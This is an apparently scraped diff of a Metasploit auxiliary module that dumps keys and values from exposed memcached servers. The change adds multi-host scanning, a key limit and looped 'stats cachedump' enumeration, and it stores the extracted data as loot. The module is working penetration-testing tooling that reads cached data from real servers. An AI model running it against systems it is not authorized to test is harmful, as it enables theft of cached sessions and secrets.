7
7
8
8
class Metasploit3 < Msf ::Auxiliary
9
9
include Msf ::Exploit ::Remote ::Tcp
10
+ include Msf ::Auxiliary ::Scanner
10
11
include Msf ::Auxiliary ::Report
11
12
12
13
def initialize ( info = { } )
@@ -16,24 +17,33 @@ def initialize(info = {})
16
17
This module extracts the slabs from a memcached instance. It then
17
18
finds the keys and values stored in those slabs.
18
19
) ,
19
- 'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ] ,
20
- 'License' => MSF_LICENSE
20
+ 'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ] ,
21
+ 'License' => MSF_LICENSE
21
22
) )
22
23
23
24
register_options (
24
25
[
25
- Opt ::RPORT ( 11211 )
26
+ Opt ::RPORT ( 11211 ) ,
27
+ OptInt . new ( 'MAXKEYS' , [ true , 'Maximum number of keys to be pulled from a slab' , 100 ] )
26
28
] , self . class )
27
29
end
28
30
31
+ def max_keys
32
+ datastore [ 'MAXKEYS' ] . to_i
33
+ end
34
+
29
35
# Returns array of keys for all slabs
30
36
def enumerate_keys
31
37
keys = [ ]
32
38
enumerate_slab_ids . each do |sid |
33
- sock . send ( "stats cachedump #{ sid } 100\r \n " , 0 )
34
- data = sock . recv ( 4096 )
35
- matches = /^ITEM (?<key>.*) \[ / . match ( data )
36
- keys << matches [ :key ] if matches
39
+ loop do
40
+ sock . send ( "stats cachedump #{ sid } #{ max_keys } \r \n " , 0 )
41
+ data = sock . recv ( 4096 )
42
+ break if !data || data . length == 0
43
+ matches = /^ITEM (?<key>.*) \[ / . match ( data )
44
+ keys << matches [ :key ] if matches
45
+ break if data =~ /^END/
46
+ end
37
47
end
38
48
keys
39
49
end
@@ -76,17 +86,29 @@ def determine_version
76
86
matches [ :version ] || 'unkown version'
77
87
end
78
88
79
- def run
80
- print_status ( "#{ rhost } :#{ rport } - Connecting to memcached server..." )
89
+ def run_host ( ip )
90
+ print_status ( "#{ ip } :#{ rport } - Connecting to memcached server..." )
81
91
begin
82
92
connect
83
93
print_good ( "Connected to memcached #{ determine_version } " )
84
94
keys = enumerate_keys
85
95
print_good ( "Found #{ keys . size } keys" )
96
+ return if keys . size == 0
97
+
86
98
data = data_for_keys ( keys )
87
- rhost = 'localhost.memcached' if %w( localhost 127.0.0.1 ) . include? ( rhost )
88
- store_loot ( 'memcached.dump' , 'text/plain' , rhost , data , 'memcached.txt' , 'Memcached extractor' )
89
- print_good ( "Loot stored!" )
99
+ if %w( localhost 127.0.0.1 ) . include? ( ip )
100
+ result_table = Rex ::Ui ::Text ::Table . new (
101
+ 'Header' => "Keys/Values Found for #{ ip } :#{ rport } " ,
102
+ 'Indent' => 1 ,
103
+ 'Columns' => [ 'Key' , 'Value' ]
104
+ )
105
+ data . take ( 10 ) . each { |r | result_table << r }
106
+ print_line
107
+ print_line ( "#{ result_table } " )
108
+ else
109
+ store_loot ( 'memcached.dump' , 'text/plain' , ip , data , 'memcached.txt' , 'Memcached extractor' )
110
+ print_good ( "Loot stored!" )
111
+ end
90
112
rescue Rex ::ConnectionRefused , Rex ::ConnectionTimeout
91
113
print_error ( "Could not connect to memcached server!" )
92
114
end
0 commit comments